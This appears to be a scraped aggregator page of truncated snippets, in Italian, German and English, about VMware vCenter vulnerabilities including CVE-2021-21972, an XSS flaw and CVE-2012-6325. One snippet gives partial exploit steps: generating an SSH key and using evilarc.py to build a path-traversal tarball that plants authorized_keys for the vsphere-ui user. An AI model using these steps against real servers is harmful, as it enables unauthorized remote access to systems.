CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 Funziona su VMware-VCSA-all-6.7.0-8217866、VMware-VIM-all-6.7.0-8217866 ✔ VMware-VCSA-all-6.5.0-16613358 ✔ Per vCenter6.7 U2+ vCenter 6.7U2+ esegue il sito web in memoria, quindi questo exploit non funziona per 6.7 u2+. Da testare vCenter 6.5 LinuxVCSA/WindowIn attesa...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 Getestet gegen VMware VCSA 6.7 SSH-Schlüsselpaar erstellen root@kitploit: ssh-keygen -t rsa -f vcsa.key -N '' Tarball mit ../../../../../home/vsphere-ui/.ssh/authorizedkeys erstellen root@kitploit: python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar...

Cross site scripting

Cross-site scripting XSS vulnerability in VMware vCenter Server Appliance vCSA 5.1 before Update 3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2012-6325

VMware vCenter Server Appliance vCSA 5.0 before Update 2 does not properly parse XML documents, which allows remote authenticated users to read arbitrary files via unspecified vectors...